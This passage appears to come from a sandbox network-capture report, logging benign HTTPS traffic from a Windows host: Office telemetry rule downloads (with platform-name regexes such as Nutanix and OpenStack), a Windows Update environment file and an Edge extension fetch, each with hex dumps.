2024-11-11 11:40:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4e338e66-401e-0016-6fd5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968swgbqhC1EWRmnb4000000050g000000005w1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1c14d510-c01e-0079-05d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968nxc96hC1EWRspw800000004mg000000005m8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 65802b10-501e-000a-61d5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968glpgnhC1EWR7uec00000004xg00000000afrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 6193c1ec-701e-000d-35d5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968cpnpfhC1EWR3afc00000004eg000000006rt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 554aabf5-b01e-00ab-71d5-33dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114023Z-174f784596886s2bhC1EWR743w00000004xg000000005ccg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:23 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 87508ad6-a01e-0098-68d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968j9dchhC1EWRfe7400000004u0000000001493 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:23 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d9045f06-101e-00a2-02d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968frfdmhC1EWRxxbw00000004z0000000003fwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4e338eb5-401e-0016-3ad5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114023Z-174f7845968vqt9xhC1EWRgten00000004wg000000006sph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49806	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pFAZLDUpUH4eKln&MD=K3Pc2hDt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 11:40:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b2d6170e-858f-4062-9bde-dd9898a049ae MS-RequestId: cc0eeb5a-9423-4e31-b0d9-56baea08ba6f MS-CV: lyAWI3yvSUiVMy7z.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 11:40:23 GMT Connection: close Content-Length: 24490
2024-11-11 11:40:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-11 11:40:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49824	216.58.206.33	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:24 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY395AUzA8Ic79VMCxg1dmLV8Ro5b8eQ4rla2MRsxEXY9RrI6aVz3deA2VvBymLwDXh8AMcDUTaHEA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 10 Nov 2024 20:33:29 GMT Expires: Mon, 10 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 54415 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 11:40:24 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
